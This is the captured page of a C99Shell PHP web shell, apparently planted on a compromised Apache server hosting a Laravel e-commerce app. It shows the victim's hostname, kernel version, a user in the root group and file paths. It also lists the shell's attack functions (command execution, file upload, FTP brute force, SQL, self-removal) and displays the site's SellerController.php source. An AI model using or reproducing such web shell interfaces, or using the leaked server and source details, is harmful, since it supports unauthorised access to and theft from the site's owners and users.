!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/User/   drwxr-xr-x
Free 27.02 GB of 117.98 GB (22.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SellerController.php (3.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api\User;

use 
App\Http\Controllers\Controller;
use 
App\Http\Resources\{
    
ProductResource,
    
ReviewResource,
    
VendorResource
};
use 
App\Models\{
    
Product,
    
Vendor
};
use 
Illuminate\Http\Request;

class 
SellerController extends Controller
{
    
/**
     * vendor products
     *
     * @param $alias
     * @return array|\Illuminate\Http\JsonResponse
     */
    
public function index($alias null)
    {
        
$configs $this->initialize([], null);
        
$data['shop'] = \Modules\Shop\Http\Models\Shop::firstWhere('alias'$alias);

        if (
is_null($alias) || !isActive('Shop') || empty($data['shop']) || !Vendor::isVendorExist($data['shop']->vendor_id)) {
            return 
$this->errorResponse([], 404__('Invalid Request'));
        }

        
$allProducts Product::where('vendor_id'$data['shop']->vendor_id);
        
$data['topSellerIds'] = Vendor::topSeller()->pluck('vendor_id')->toArray();
        
$vendor Vendor::with('reviews''shops')->where('id'$data['shop']->vendor_id)->first();
        
$data['reviewCount'] = $vendor->reviews->where('status''Active')->count();
        
$data['avg'] = $vendor->reviews->where('status''Active')->avg('rating');
        
$data['positiveRating'] = Product::positiveRating($data['shop']->vendor_id);

        return 
$this->response([
            
'data' => ProductResource::collection($allProducts->paginate($configs['rows_per_page'])),
            
'vendorData' => (new VendorResource($vendor)),
            
'otherData' => $data,
            
'pagination' => $this->toArray($allProducts->paginate($configs['rows_per_page'])->appends(request()->all()))
        ]);
    }

    
/**
     * vendor profile
     *
     * @param $alias
     * @return array|\Illuminate\Http\JsonResponse
     */
    
public function vendorProfile($alias null)
    {
        
$configs $this->initialize([], null);
        
$data['shop'] = \Modules\Shop\Http\Models\Shop::firstWhere('alias'$alias);

        if (
is_null($alias) || !isActive('Shop') || empty($data['shop']) || !Vendor::isVendorExist($data['shop']->vendor_id)) {
            return 
$this->errorResponse([], 404__('Invalid Request'));
        }

        
$vendor Vendor::with('reviews''shops')->where('id'$data['shop']->vendor_id)->first();
        
$data['reviewCount'] = $vendor->reviews->where('status''Active')->count();
        
$data['avg'] = $vendor->reviews->where('status''Active')->avg('rating');
        
$data['positiveRating'] =  Product::positiveRating($data['shop']->vendor_id);
        
$data['shipment_on_time'] = $vendor->onTimeShipment();
        
$data['seller_cancellation'] = $vendor->orderCancel();
        
$reviews $vendor->reviews()->where('reviews.status''Active')->orderBy('created_at''desc')->with('user');
        
$data['progessBarRating'] = $vendor->reviews()->where('reviews.status''Active')->select(\DB::raw('count("rating") as total_rating, rating'))->groupBy('rating')->orderBy('rating',  'desc')->get()->toArray();
        
$data['topSellerIds'] = Vendor::topSeller()->pluck('vendor_id')->toArray();

        return 
$this->response([
            
'data' => ReviewResource::collection($reviews->paginate($configs['rows_per_page'])),
            
'vendorData' => (new VendorResource($vendor)),
            
'otherData' => $data,
            
'pagination' => $this->toArray($reviews->paginate($configs['rows_per_page'])->appends(request()->all()))
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--